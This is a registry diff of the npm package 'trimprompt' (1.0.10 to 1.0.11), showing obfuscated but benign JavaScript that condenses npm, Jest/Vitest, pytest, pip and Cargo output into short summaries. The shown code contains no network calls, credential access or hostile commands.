trimprompt 1.0.10 → 1.0.11

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/filters/js.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x410cab=a0_0x299a;function a0_0x17aa(){const _0x22ce6b=['found\x20','startsWith','replace','removed\x20','4806940HqfBrS','includes','230124TgmiAD','filterNpmInstall','split','added\x20','match','all','Test\x20Runner:\x20','940314TaXAsf','\x20passed','trim','\x0aFailures:','push','defineProperty','3377547nSjNNq','PASS','5005695cbqLPW','up\x20to\x20date','filterJestVitest','join','158575AqlDmj','24604192ijVELQ','\x20passed,\x20','\x20\x20...\x20(','__esModule','length','FAIL\x20\x20','7MuJakC','\x20failed\x20(','Tests:'];a0_0x17aa=function(){return _0x22ce6b;};return a0_0x17aa();}function a0_0x299a(_0x57c073,_0x1a0448){_0x57c073=_0x57c073-0x137;const _0x17aaee=a0_0x17aa();let _0x299a2e=_0x17aaee[_0x57c073];return _0x299a2e;}(function(_0x3d881e,_0x5226b7){const _0x5e372a=a0_0x299a,_0xe1550b=_0x3d881e();while(!![]){try{const _0x42b8a5=parseInt(_0x5e372a(0x149))/0x1+parseInt(_0x5e372a(0x159))/0x2+parseInt(_0x5e372a(0x143))/0x3+parseInt(_0x5e372a(0x157))/0x4+parseInt(_0x5e372a(0x145))/0x5+-parseInt(_0x5e372a(0x13d))/0x6*(-parseInt(_0x5e372a(0x150))/0x7)+-parseInt(_0x5e372a(0x14a))/0x8;if(_0x42b8a5===_0x5226b7)break;else _0xe1550b['push'](_0xe1550b['shift']());}catch(_0x3c182e){_0xe1550b['push'](_0xe1550b['shift']());}}}(a0_0x17aa,0xa6e23));Object[a0_0x410cab(0x142)](exports,a0_0x410cab(0x14d),{'value':!![]}),exports[a0_0x410cab(0x137)]=filterNpmInstall,exports[a0_0x410cab(0x147)]=filterJestVitest;function filterNpmInstall(_0xc431ed){const _0x5a2abd=a0_0x410cab,_0x4e34e7=_0xc431ed[_0x5a2abd(0x155)](/\r/g,'\x0a'),_0x27a6ff=_0x4e34e7['split']('\x0a'),_0x30a13e=[];for(const _0x25505f of _0x27a6ff){const _0x4bd99c=_0x25505f[_0x5a2abd(0x13f)]();(_0x4bd99c[_0x5a2abd(0x158)](_0x5a2abd(0x139))||_0x4bd99c[_0x5a2abd(0x158)](_0x5a2abd(0x156))||_0x4bd99c[_0x5a2abd(0x158)]('audited\x20')||_0x4bd99c['includes'](_0x5a2abd(0x146))||_0x4bd99c[_0x5a2abd(0x158)](_0x5a2abd(0x153)))&&(!_0x4bd99c[_0x5a2abd(0x158)]('%')&&!_0x4bd99c[_0x5a2abd(0x154)]('⠋')&&!_0x4bd99c[_0x5a2abd(0x154)]('⠙')&&_0x30a13e['push'](_0x4bd99c));}const _0xbca0c7=_0x30a13e[_0x5a2abd(0x148)]('\x0a')[_0x5a2abd(0x13f)]();return _0xbca0c7[_0x5a2abd(0x14e)]>0x0?_0xbca0c7:'NPM:\x20Packages\x20verified/installed\x20successfully';}function filterJestVitest(_0x1aa070){const _0x2bd6c1=a0_0x410cab,_0x1a04cf=_0x1aa070[_0x2bd6c1(0x138)]('\x0a');let _0x382c69=0x0,_0x2645f2=0x0,_0x12e164=0x0;const _0x13a14f=[];let _0x577098=![];for(const _0x722f3e of _0x1a04cf){const _0x37edd2=_0x722f3e[_0x2bd6c1(0x13f)]();if(_0x37edd2['startsWith'](_0x2bd6c1(0x152))||_0x37edd2['includes']('Test\x20Files:')){const _0x26c1aa=_0x37edd2['match'](/(\d+)\s+passed/),_0x2bacff=_0x37edd2[_0x2bd6c1(0x13a)](/(\d+)\s+failed/),_0x5f04ef=_0x37edd2[_0x2bd6c1(0x13a)](/(\d+)\s+total/);if(_0x26c1aa)_0x382c69=parseInt(_0x26c1aa[0x1]);if(_0x2bacff)_0x2645f2=parseInt(_0x2bacff[0x1]);if(_0x5f04ef)_0x12e164=parseInt(_0x5f04ef[0x1]);continue;}(_0x37edd2[_0x2bd6c1(0x154)]('❯')||_0x37edd2[_0x2bd6c1(0x154)]('●')||_0x37edd2[_0x2bd6c1(0x154)](_0x2bd6c1(0x14f)))&&(_0x577098=!![]),_0x577098&&(_0x37edd2[_0x2bd6c1(0x14e)]>0x0&&!_0x37edd2[_0x2bd6c1(0x154)]('Test\x20Suites:')&&!_0x37edd2[_0x2bd6c1(0x154)](_0x2bd6c1(0x152))&&_0x13a14f[_0x2bd6c1(0x141)](_0x722f3e));}if(_0x12e164===0x0&&_0x382c69===0x0&&_0x2645f2===0x0){if(_0x1aa070['includes'](_0x2bd6c1(0x144))&&!_0x1aa070[_0x2bd6c1(0x158)]('FAIL')){const _0x2b242d=_0x1aa070[_0x2bd6c1(0x13a)](/(\d+)\s+passed/),_0x1e1190=_0x2b242d?_0x2b242d[0x1]:_0x2bd6c1(0x13b);return _0x2bd6c1(0x13c)+_0x1e1190+_0x2bd6c1(0x13e);}return _0x1aa070;}if(_0x2645f2===0x0&&_0x382c69>0x0)return'Test\x20Runner:\x20'+_0x382c69+_0x2bd6c1(0x13e);const _0x4b6c63=[_0x2bd6c1(0x13c)+_0x382c69+_0x2bd6c1(0x14b)+_0x2645f2+_0x2bd6c1(0x151)+_0x12e164+'\x20total)'];if(_0x13a14f[_0x2bd6c1(0x14e)]>0x0){_0x4b6c63[_0x2bd6c1(0x141)](_0x2bd6c1(0x140));const _0x15558e=0x19,_0x44a161=_0x13a14f['slice'](0x0,_0x15558e);for(const _0x1a40e8 of _0x44a161){_0x4b6c63[_0x2bd6c1(0x141)]('\x20\x20'+_0x1a40e8);}_0x13a14f[_0x2bd6c1(0x14e)]>_0x15558e&&_0x4b6c63[_0x2bd6c1(0x141)](_0x2bd6c1(0x14c)+(_0x13a14f[_0x2bd6c1(0x14e)]-_0x15558e)+'\x20lines\x20of\x20trace\x20details\x20truncated)');}return _0x4b6c63['join']('\x0a');}
1
+ 'use strict';const a0_0x1644ec=a0_0x4cf2;(function(_0x525477,_0x4c71d7){const _0x5e35d7=a0_0x4cf2,_0x57616a=_0x525477();while(!![]){try{const _0x502c7b=-parseInt(_0x5e35d7(0x1bc))/0x1*(-parseInt(_0x5e35d7(0x1ca))/0x2)+-parseInt(_0x5e35d7(0x1c8))/0x3*(parseInt(_0x5e35d7(0x1c4))/0x4)+-parseInt(_0x5e35d7(0x1c5))/0x5*(parseInt(_0x5e35d7(0x1ba))/0x6)+parseInt(_0x5e35d7(0x1ce))/0x7+-parseInt(_0x5e35d7(0x1b9))/0x8*(parseInt(_0x5e35d7(0x1c3))/0x9)+parseInt(_0x5e35d7(0x1da))/0xa*(parseInt(_0x5e35d7(0x1c9))/0xb)+parseInt(_0x5e35d7(0x1d2))/0xc;if(_0x502c7b===_0x4c71d7)break;else _0x57616a['push'](_0x57616a['shift']());}catch(_0x46e002){_0x57616a['push'](_0x57616a['shift']());}}}(a0_0x429d,0x5c80d));function a0_0x429d(){const _0x55eefc=['Test\x20Files:','1950081VDkUbQ','includes','\x20total)','up\x20to\x20date','6619044XbwaAl','split','\x20lines\x20of\x20trace\x20details\x20truncated)','push','\x0aFailures:','\x20passed','length','Test\x20Runner:\x20','50vhZqOC','found\x20','\x20failed\x20(','trim','match','5779544acMKpn','42pShyKZ','Test\x20Suites:','58160cylBJt','PASS','filterJestVitest','startsWith','join','Tests:','filterNpmInstall','9bopYEu','4xHDyEh','208655rmqUFA','\x20passed,\x20','slice','683976kqlWho','1484901bJrMqN','4JQPQhL','FAIL','NPM:\x20Packages\x20verified/installed\x20successfully'];a0_0x429d=function(){return _0x55eefc;};return a0_0x429d();}function a0_0x4cf2(_0x38ba9a,_0x2a475c){_0x38ba9a=_0x38ba9a-0x1b5;const _0x429dbc=a0_0x429d();let _0x4cf2d3=_0x429dbc[_0x38ba9a];return _0x4cf2d3;}Object['defineProperty'](exports,'__esModule',{'value':!![]}),exports[a0_0x1644ec(0x1c2)]=filterNpmInstall,exports[a0_0x1644ec(0x1be)]=filterJestVitest;function filterNpmInstall(_0x28ceda){const _0x26a5f2=a0_0x1644ec,_0x2f4c93=_0x28ceda['replace'](/\r/g,'\x0a'),_0x366db5=_0x2f4c93[_0x26a5f2(0x1d3)]('\x0a'),_0x26558c=[];for(const _0x4cf959 of _0x366db5){const _0x4a2749=_0x4cf959['trim']();(_0x4a2749[_0x26a5f2(0x1cf)]('added\x20')||_0x4a2749[_0x26a5f2(0x1cf)]('removed\x20')||_0x4a2749['includes']('audited\x20')||_0x4a2749['includes'](_0x26a5f2(0x1d1))||_0x4a2749[_0x26a5f2(0x1cf)](_0x26a5f2(0x1b5)))&&(!_0x4a2749[_0x26a5f2(0x1cf)]('%')&&!_0x4a2749['startsWith']('⠋')&&!_0x4a2749['startsWith']('⠙')&&_0x26558c[_0x26a5f2(0x1d5)](_0x4a2749));}const _0x5cfceb=_0x26558c[_0x26a5f2(0x1c0)]('\x0a')[_0x26a5f2(0x1b7)]();return _0x5cfceb[_0x26a5f2(0x1d8)]>0x0?_0x5cfceb:_0x26a5f2(0x1cc);}function filterJestVitest(_0x5e99cb){const _0x33a502=a0_0x1644ec,_0x12f549=_0x5e99cb[_0x33a502(0x1d3)]('\x0a');let _0xbf2a6c=0x0,_0x2209c8=0x0,_0x548daa=0x0;const _0x1297be=[];let _0x2aea0c=![];for(const _0x220630 of _0x12f549){const _0x2c8c32=_0x220630[_0x33a502(0x1b7)]();if(_0x2c8c32[_0x33a502(0x1bf)](_0x33a502(0x1c1))||_0x2c8c32[_0x33a502(0x1cf)](_0x33a502(0x1cd))){const _0x140f6d=_0x2c8c32['match'](/(\d+)\s+passed/),_0x2f7dd1=_0x2c8c32[_0x33a502(0x1b8)](/(\d+)\s+failed/),_0x5e76c4=_0x2c8c32['match'](/(\d+)\s+total/);if(_0x140f6d)_0xbf2a6c=parseInt(_0x140f6d[0x1]);if(_0x2f7dd1)_0x2209c8=parseInt(_0x2f7dd1[0x1]);if(_0x5e76c4)_0x548daa=parseInt(_0x5e76c4[0x1]);continue;}(_0x2c8c32[_0x33a502(0x1bf)]('❯')||_0x2c8c32[_0x33a502(0x1bf)]('●')||_0x2c8c32[_0x33a502(0x1bf)]('FAIL\x20\x20'))&&(_0x2aea0c=!![]),_0x2aea0c&&(_0x2c8c32[_0x33a502(0x1d8)]>0x0&&!_0x2c8c32[_0x33a502(0x1bf)](_0x33a502(0x1bb))&&!_0x2c8c32['startsWith'](_0x33a502(0x1c1))&&_0x1297be['push'](_0x220630));}if(_0x548daa===0x0&&_0xbf2a6c===0x0&&_0x2209c8===0x0){if(_0x5e99cb[_0x33a502(0x1cf)](_0x33a502(0x1bd))&&!_0x5e99cb[_0x33a502(0x1cf)](_0x33a502(0x1cb))){const _0x392998=_0x5e99cb['match'](/(\d+)\s+passed/),_0xb65f4b=_0x392998?_0x392998[0x1]:'all';return _0x33a502(0x1d9)+_0xb65f4b+_0x33a502(0x1d7);}return _0x5e99cb;}if(_0x2209c8===0x0&&_0xbf2a6c>0x0)return _0x33a502(0x1d9)+_0xbf2a6c+_0x33a502(0x1d7);const _0x3c8d01=[_0x33a502(0x1d9)+_0xbf2a6c+_0x33a502(0x1c6)+_0x2209c8+_0x33a502(0x1b6)+_0x548daa+_0x33a502(0x1d0)];if(_0x1297be[_0x33a502(0x1d8)]>0x0){_0x3c8d01['push'](_0x33a502(0x1d6));const _0x1afcd3=0x19,_0x40bcf8=_0x1297be[_0x33a502(0x1c7)](0x0,_0x1afcd3);for(const _0x1d8dbf of _0x40bcf8){_0x3c8d01['push']('\x20\x20'+_0x1d8dbf);}_0x1297be[_0x33a502(0x1d8)]>_0x1afcd3&&_0x3c8d01[_0x33a502(0x1d5)]('\x20\x20...\x20('+(_0x1297be[_0x33a502(0x1d8)]-_0x1afcd3)+_0x33a502(0x1d4));}return _0x3c8d01['join']('\x0a');}
package/filters/python.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x158e64=a0_0x286f;function a0_0x286f(_0x4e07ca,_0x4c893a){_0x4e07ca=_0x4e07ca-0x13a;const _0x5423fa=a0_0x5423();let _0x286f6d=_0x5423fa[_0x4e07ca];return _0x286f6d;}(function(_0x2482fd,_0x5cb033){const _0x5973e7=a0_0x286f,_0x162917=_0x2482fd();while(!![]){try{const _0x22192d=-parseInt(_0x5973e7(0x147))/0x1*(parseInt(_0x5973e7(0x161))/0x2)+-parseInt(_0x5973e7(0x14f))/0x3+-parseInt(_0x5973e7(0x154))/0x4*(-parseInt(_0x5973e7(0x13a))/0x5)+-parseInt(_0x5973e7(0x141))/0x6*(-parseInt(_0x5973e7(0x165))/0x7)+parseInt(_0x5973e7(0x13e))/0x8*(-parseInt(_0x5973e7(0x13d))/0x9)+-parseInt(_0x5973e7(0x149))/0xa+parseInt(_0x5973e7(0x156))/0xb;if(_0x22192d===_0x5cb033)break;else _0x162917['push'](_0x162917['shift']());}catch(_0x155dd3){_0x162917['push'](_0x162917['shift']());}}}(a0_0x5423,0x4935e));Object['defineProperty'](exports,a0_0x158e64(0x143),{'value':!![]}),exports['filterPytest']=filterPytest,exports[a0_0x158e64(0x14a)]=filterPipInstall;function a0_0x5423(){const _0x35a815=['===\x20short\x20test\x20summary\x20info\x20===','\x20more\x20failures\x20truncated','slice','.\x20[FAIL]\x20','E\x20\x20\x20','replace','\x0aFailures:','\x20xfailed','Downloading','Collecting','412798eSXZJv','Using\x20cached','includes','\x20lines\x20of\x20stacktrace\x20truncated)','80437mDBZRq','filter','===','234755dcMTVz','startsWith','match','18IBsfUY','218704Snviyx','failed','\x20xpassed\x20(warning!)','108CahnUt','Pytest:\x20All\x20tests\x20passed','__esModule','trim','Pytest:\x20','___','1AbRzrT','Successfully\x20installed','4651360oofjiU','filterPipInstall','===\x20ERRORS\x20===','push','join','length','1714662SzUZIu','passed','.py:','\x20\x20\x20\x20','\x20passed','12gdfZtO','\x20\x20...\x20+','13749384lxsIUx'];a0_0x5423=function(){return _0x35a815;};return a0_0x5423();}function filterPytest(_0x53bd89){const _0x24e190=a0_0x158e64,_0x54f048=_0x53bd89['split']('\x0a');let _0x5c51f7=0x0,_0x5267ab=0x0,_0x389d07=0x0,_0x589040=0x0,_0x2e9766=0x0;const _0x29a492=[];let _0x2fb450=[],_0x25c1e9=![];for(const _0x147586 of _0x54f048){const _0x53c05a=_0x147586[_0x24e190(0x144)]();if(_0x53c05a[_0x24e190(0x13b)]('===\x20FAILURES\x20===')||_0x53c05a['startsWith'](_0x24e190(0x14b))){_0x25c1e9=!![];continue;}else(_0x53c05a[_0x24e190(0x13b)](_0x24e190(0x157))||_0x53c05a[_0x24e190(0x13b)](_0x24e190(0x167))&&_0x53c05a[_0x24e190(0x163)](_0x24e190(0x150)))&&(_0x25c1e9=![],_0x2fb450[_0x24e190(0x14e)]>0x0&&(_0x29a492[_0x24e190(0x14c)](_0x2fb450),_0x2fb450=[]));if(_0x25c1e9){if(_0x53c05a['startsWith'](_0x24e190(0x146)))_0x2fb450['length']>0x0&&(_0x29a492[_0x24e190(0x14c)](_0x2fb450),_0x2fb450=[]),_0x2fb450['push'](_0x53c05a);else _0x53c05a[_0x24e190(0x14e)]>0x0&&_0x2fb450['push'](_0x147586);continue;}if(_0x53c05a['startsWith'](_0x24e190(0x167))&&_0x53c05a[_0x24e190(0x163)]('\x20in\x20')){const _0x460e3f=_0x53c05a[_0x24e190(0x13c)](/(\d+)\s+passed/),_0x587f5d=_0x53c05a[_0x24e190(0x13c)](/(\d+)\s+failed/),_0x5c1ac3=_0x53c05a[_0x24e190(0x13c)](/(\d+)\s+skipped/),_0x49245c=_0x53c05a[_0x24e190(0x13c)](/(\d+)\s+xfailed/),_0x5285cb=_0x53c05a[_0x24e190(0x13c)](/(\d+)\s+xpassed/);if(_0x460e3f)_0x5c51f7=parseInt(_0x460e3f[0x1]);if(_0x587f5d)_0x5267ab=parseInt(_0x587f5d[0x1]);if(_0x5c1ac3)_0x389d07=parseInt(_0x5c1ac3[0x1]);if(_0x49245c)_0x589040=parseInt(_0x49245c[0x1]);if(_0x5285cb)_0x2e9766=parseInt(_0x5285cb[0x1]);}}_0x2fb450[_0x24e190(0x14e)]>0x0&&_0x29a492['push'](_0x2fb450);if(_0x5c51f7===0x0&&_0x5267ab===0x0&&_0x389d07===0x0&&_0x589040===0x0&&_0x2e9766===0x0){if(_0x53bd89[_0x24e190(0x163)](_0x24e190(0x150))&&!_0x53bd89[_0x24e190(0x163)](_0x24e190(0x13f)))return _0x24e190(0x142);return _0x53bd89;}if(_0x5267ab===0x0&&_0x5c51f7>0x0&&_0x389d07===0x0&&_0x589040===0x0&&_0x2e9766===0x0)return'Pytest:\x20'+_0x5c51f7+_0x24e190(0x153);const _0x4f755f=[];_0x4f755f['push'](_0x24e190(0x145)+_0x5c51f7+_0x24e190(0x153));if(_0x5267ab>0x0)_0x4f755f[_0x24e190(0x14c)](_0x5267ab+'\x20failed');if(_0x389d07>0x0)_0x4f755f['push'](_0x389d07+'\x20skipped');if(_0x589040>0x0)_0x4f755f[_0x24e190(0x14c)](_0x589040+_0x24e190(0x15e));if(_0x2e9766>0x0)_0x4f755f[_0x24e190(0x14c)](_0x2e9766+_0x24e190(0x140));const _0x2218ba=[_0x4f755f[_0x24e190(0x14d)](',\x20')];if(_0x29a492[_0x24e190(0x14e)]>0x0){_0x2218ba['push'](_0x24e190(0x15d));const _0x53f017=0x3,_0x2e7834=_0x29a492['slice'](0x0,_0x53f017);for(let _0x266214=0x0;_0x266214<_0x2e7834[_0x24e190(0x14e)];_0x266214++){const _0x566856=_0x2e7834[_0x266214],_0x5d3db8=_0x566856[0x0][_0x24e190(0x15c)](/_/g,'')['trim']();_0x2218ba[_0x24e190(0x14c)]('\x20\x20'+(_0x266214+0x1)+_0x24e190(0x15a)+_0x5d3db8);const _0x37db17=_0x566856[_0x24e190(0x159)](0x1),_0x2cce6c=_0x37db17[_0x24e190(0x166)](_0x505444=>{const _0x1615fe=_0x24e190,_0x2537af=_0x505444[_0x1615fe(0x144)]();return _0x2537af[_0x1615fe(0x13b)]('>')||_0x2537af[_0x1615fe(0x13b)](_0x1615fe(0x15b))||_0x2537af[_0x1615fe(0x163)](_0x1615fe(0x151))||_0x2537af[_0x1615fe(0x163)]('AssertionError:');});for(const _0x193efa of _0x2cce6c['slice'](0x0,0x8)){_0x2218ba['push'](_0x24e190(0x152)+_0x193efa);}_0x2cce6c['length']>0x8&&_0x2218ba[_0x24e190(0x14c)]('\x20\x20\x20\x20...\x20('+(_0x2cce6c[_0x24e190(0x14e)]-0x8)+_0x24e190(0x164));}_0x29a492[_0x24e190(0x14e)]>_0x53f017&&_0x2218ba[_0x24e190(0x14c)](_0x24e190(0x155)+(_0x29a492['length']-_0x53f017)+_0x24e190(0x158));}return _0x2218ba[_0x24e190(0x14d)]('\x0a');}function filterPipInstall(_0x2cfa09){const _0x5b352e=a0_0x158e64,_0x7463fc=_0x2cfa09['split']('\x0a'),_0x3452ef=[];for(const _0x25660e of _0x7463fc){const _0x1b440d=_0x25660e[_0x5b352e(0x144)]();_0x1b440d[_0x5b352e(0x13b)](_0x5b352e(0x148))&&_0x3452ef['push'](_0x1b440d);}if(_0x3452ef[_0x5b352e(0x14e)]>0x0)return _0x3452ef[_0x5b352e(0x14d)]('\x0a');return _0x7463fc[_0x5b352e(0x166)](_0x48e3a8=>{const _0x3af741=_0x5b352e,_0x25e9e7=_0x48e3a8[_0x3af741(0x144)]();return!_0x25e9e7['startsWith'](_0x3af741(0x160))&&!_0x25e9e7[_0x3af741(0x13b)](_0x3af741(0x15f))&&!_0x25e9e7[_0x3af741(0x163)](_0x3af741(0x162))&&!_0x25e9e7[_0x3af741(0x13b)]('Requirement\x20already\x20satisfied');})[_0x5b352e(0x14d)]('\x0a')['trim']();}
1
+ 'use strict';const a0_0x5474e6=a0_0x4383;(function(_0x4583cd,_0x3f3c8d){const _0x3b5c24=a0_0x4383,_0x170b69=_0x4583cd();while(!![]){try{const _0x34ef4f=-parseInt(_0x3b5c24(0xf8))/0x1*(-parseInt(_0x3b5c24(0x105))/0x2)+parseInt(_0x3b5c24(0x122))/0x3*(parseInt(_0x3b5c24(0xff))/0x4)+parseInt(_0x3b5c24(0x123))/0x5*(parseInt(_0x3b5c24(0x106))/0x6)+parseInt(_0x3b5c24(0x120))/0x7+parseInt(_0x3b5c24(0xfa))/0x8*(-parseInt(_0x3b5c24(0x117))/0x9)+-parseInt(_0x3b5c24(0x10c))/0xa+-parseInt(_0x3b5c24(0x11a))/0xb*(parseInt(_0x3b5c24(0xf7))/0xc);if(_0x34ef4f===_0x3f3c8d)break;else _0x170b69['push'](_0x170b69['shift']());}catch(_0x37d5f9){_0x170b69['push'](_0x170b69['shift']());}}}(a0_0x3fe8,0xeed4a));Object[a0_0x5474e6(0x11c)](exports,a0_0x5474e6(0x121),{'value':!![]}),exports[a0_0x5474e6(0x10a)]=filterPytest,exports[a0_0x5474e6(0x10d)]=filterPipInstall;function filterPytest(_0x39348e){const _0x446511=a0_0x5474e6,_0x14cfcd=_0x39348e[_0x446511(0x113)]('\x0a');let _0x2f07f6=0x0,_0xa3975e=0x0,_0x56b469=0x0,_0x33af4b=0x0,_0x5bc052=0x0;const _0x471c11=[];let _0x51177f=[],_0x25f3ff=![];for(const _0x1446cb of _0x14cfcd){const _0x598414=_0x1446cb['trim']();if(_0x598414['startsWith'](_0x446511(0x111))||_0x598414[_0x446511(0x11d)](_0x446511(0x126))){_0x25f3ff=!![];continue;}else(_0x598414['startsWith'](_0x446511(0x102))||_0x598414[_0x446511(0x11d)]('===')&&_0x598414['includes']('passed'))&&(_0x25f3ff=![],_0x51177f['length']>0x0&&(_0x471c11[_0x446511(0x10e)](_0x51177f),_0x51177f=[]));if(_0x25f3ff){if(_0x598414[_0x446511(0x11d)](_0x446511(0xfd)))_0x51177f[_0x446511(0x109)]>0x0&&(_0x471c11[_0x446511(0x10e)](_0x51177f),_0x51177f=[]),_0x51177f[_0x446511(0x10e)](_0x598414);else _0x598414[_0x446511(0x109)]>0x0&&_0x51177f[_0x446511(0x10e)](_0x1446cb);continue;}if(_0x598414[_0x446511(0x11d)](_0x446511(0x114))&&_0x598414[_0x446511(0x103)](_0x446511(0x112))){const _0xf6f260=_0x598414[_0x446511(0x107)](/(\d+)\s+passed/),_0x1944d7=_0x598414[_0x446511(0x107)](/(\d+)\s+failed/),_0x533614=_0x598414[_0x446511(0x107)](/(\d+)\s+skipped/),_0x264ba8=_0x598414[_0x446511(0x107)](/(\d+)\s+xfailed/),_0x1d9dc4=_0x598414[_0x446511(0x107)](/(\d+)\s+xpassed/);if(_0xf6f260)_0x2f07f6=parseInt(_0xf6f260[0x1]);if(_0x1944d7)_0xa3975e=parseInt(_0x1944d7[0x1]);if(_0x533614)_0x56b469=parseInt(_0x533614[0x1]);if(_0x264ba8)_0x33af4b=parseInt(_0x264ba8[0x1]);if(_0x1d9dc4)_0x5bc052=parseInt(_0x1d9dc4[0x1]);}}_0x51177f[_0x446511(0x109)]>0x0&&_0x471c11[_0x446511(0x10e)](_0x51177f);if(_0x2f07f6===0x0&&_0xa3975e===0x0&&_0x56b469===0x0&&_0x33af4b===0x0&&_0x5bc052===0x0){if(_0x39348e[_0x446511(0x103)]('passed')&&!_0x39348e[_0x446511(0x103)](_0x446511(0x115)))return _0x446511(0x128);return _0x39348e;}if(_0xa3975e===0x0&&_0x2f07f6>0x0&&_0x56b469===0x0&&_0x33af4b===0x0&&_0x5bc052===0x0)return _0x446511(0x118)+_0x2f07f6+_0x446511(0x11e);const _0x554a60=[];_0x554a60[_0x446511(0x10e)](_0x446511(0x118)+_0x2f07f6+_0x446511(0x11e));if(_0xa3975e>0x0)_0x554a60[_0x446511(0x10e)](_0xa3975e+_0x446511(0x10f));if(_0x56b469>0x0)_0x554a60[_0x446511(0x10e)](_0x56b469+_0x446511(0x101));if(_0x33af4b>0x0)_0x554a60[_0x446511(0x10e)](_0x33af4b+_0x446511(0x10b));if(_0x5bc052>0x0)_0x554a60[_0x446511(0x10e)](_0x5bc052+_0x446511(0x11f));const _0x2ef7ae=[_0x554a60[_0x446511(0xfb)](',\x20')];if(_0x471c11[_0x446511(0x109)]>0x0){_0x2ef7ae[_0x446511(0x10e)]('\x0aFailures:');const _0x230a6d=0x3,_0x44df9e=_0x471c11['slice'](0x0,_0x230a6d);for(let _0x5a2f94=0x0;_0x5a2f94<_0x44df9e[_0x446511(0x109)];_0x5a2f94++){const _0x225ef2=_0x44df9e[_0x5a2f94],_0xf87864=_0x225ef2[0x0]['replace'](/_/g,'')[_0x446511(0x127)]();_0x2ef7ae[_0x446511(0x10e)]('\x20\x20'+(_0x5a2f94+0x1)+'.\x20[FAIL]\x20'+_0xf87864);const _0x42928e=_0x225ef2[_0x446511(0x125)](0x1),_0x101f6e=_0x42928e[_0x446511(0xfe)](_0x21bb6e=>{const _0x50d756=_0x446511,_0x5b73f2=_0x21bb6e[_0x50d756(0x127)]();return _0x5b73f2[_0x50d756(0x11d)]('>')||_0x5b73f2[_0x50d756(0x11d)](_0x50d756(0x116))||_0x5b73f2['includes']('.py:')||_0x5b73f2[_0x50d756(0x103)](_0x50d756(0x124));});for(const _0x4b589f of _0x101f6e[_0x446511(0x125)](0x0,0x8)){_0x2ef7ae[_0x446511(0x10e)](_0x446511(0x104)+_0x4b589f);}_0x101f6e[_0x446511(0x109)]>0x8&&_0x2ef7ae[_0x446511(0x10e)](_0x446511(0xfc)+(_0x101f6e[_0x446511(0x109)]-0x8)+_0x446511(0x11b));}_0x471c11[_0x446511(0x109)]>_0x230a6d&&_0x2ef7ae['push']('\x20\x20...\x20+'+(_0x471c11[_0x446511(0x109)]-_0x230a6d)+'\x20more\x20failures\x20truncated');}return _0x2ef7ae[_0x446511(0xfb)]('\x0a');}function a0_0x4383(_0x2239c3,_0x20cc67){_0x2239c3=_0x2239c3-0xf7;const _0x3fe83a=a0_0x3fe8();let _0x4383c1=_0x3fe83a[_0x2239c3];return _0x4383c1;}function a0_0x3fe8(){const _0x2caa55=['\x20xpassed\x20(warning!)','3172568FzEWVm','__esModule','4284LFCDur','4295WSqGUl','AssertionError:','slice','===\x20ERRORS\x20===','trim','Pytest:\x20All\x20tests\x20passed','120180jpOoPp','31mTmoJz','Using\x20cached','192XqmVwK','join','\x20\x20\x20\x20...\x20(','___','filter','2896qZpiVY','Requirement\x20already\x20satisfied','\x20skipped','===\x20short\x20test\x20summary\x20info\x20===','includes','\x20\x20\x20\x20','33164xnxGsU','12684LkjFpH','match','Collecting','length','filterPytest','\x20xfailed','15355830zlTipR','filterPipInstall','push','\x20failed','Downloading','===\x20FAILURES\x20===','\x20in\x20','split','===','failed','E\x20\x20\x20','304686cjLXyQ','Pytest:\x20','Successfully\x20installed','539VuXvDU','\x20lines\x20of\x20stacktrace\x20truncated)','defineProperty','startsWith','\x20passed'];a0_0x3fe8=function(){return _0x2caa55;};return a0_0x3fe8();}function filterPipInstall(_0x2d3555){const _0x4d225c=a0_0x5474e6,_0x503f14=_0x2d3555['split']('\x0a'),_0x3d7b62=[];for(const _0xaad885 of _0x503f14){const _0x433938=_0xaad885['trim']();_0x433938['startsWith'](_0x4d225c(0x119))&&_0x3d7b62[_0x4d225c(0x10e)](_0x433938);}if(_0x3d7b62[_0x4d225c(0x109)]>0x0)return _0x3d7b62[_0x4d225c(0xfb)]('\x0a');return _0x503f14[_0x4d225c(0xfe)](_0x17190b=>{const _0x191b8b=_0x4d225c,_0x403593=_0x17190b[_0x191b8b(0x127)]();return!_0x403593[_0x191b8b(0x11d)](_0x191b8b(0x108))&&!_0x403593[_0x191b8b(0x11d)](_0x191b8b(0x110))&&!_0x403593[_0x191b8b(0x103)](_0x191b8b(0xf9))&&!_0x403593[_0x191b8b(0x11d)](_0x191b8b(0x100));})[_0x4d225c(0xfb)]('\x0a')[_0x4d225c(0x127)]();}
package/filters/rust.js CHANGED
@@ -1 +1 @@
1
- 'use strict';function a0_0x1d91(){const _0x453b56=['\x0aErrors:','221005AtLhiK','replace','failures:','thread','Cargo\x20test:\x20all\x20tests\x20passed','assert','startsWith','split','filterCargoTest','\x20warnings\x20—\x20run\x20cargo\x20clippy\x20for\x20details)','error[','\x0aFailures:','\x20warnings','left:','Cargo:\x20','54676wswieO','632856vdtSBW','\x20\x20...\x20+','511020SdrqEy','\x20more\x20errors','test\x20result:','match','----\x20','\x20ignored','\x20\x20\x20\x20','597942UZvgZn','length','44296DfQwbq','warning[','16aUgwkB','min','Cargo\x20test:\x20','\x20failed,\x20','----\x20failures\x20----','\x20errors,\x20','join','\x20passed','\x20crates,\x20','warning:','test\x20result:\x20ok','683106MsYlJw','push','\x20crates\x20successfully','trim','filter','Compiling\x20','Cargo:\x20compiled\x20','slice','filterCargoBuild','includes'];a0_0x1d91=function(){return _0x453b56;};return a0_0x1d91();}const a0_0x4b29a7=a0_0x526b;(function(_0x536265,_0x3fec23){const _0x5df35b=a0_0x526b,_0x3778a5=_0x536265();while(!![]){try{const _0x2c2b20=-parseInt(_0x5df35b(0x194))/0x1+-parseInt(_0x5df35b(0x17c))/0x2+parseInt(_0x5df35b(0x189))/0x3+-parseInt(_0x5df35b(0x1a3))/0x4+-parseInt(_0x5df35b(0x1a6))/0x5+parseInt(_0x5df35b(0x17a))/0x6+-parseInt(_0x5df35b(0x1a4))/0x7*(-parseInt(_0x5df35b(0x17e))/0x8);if(_0x2c2b20===_0x3fec23)break;else 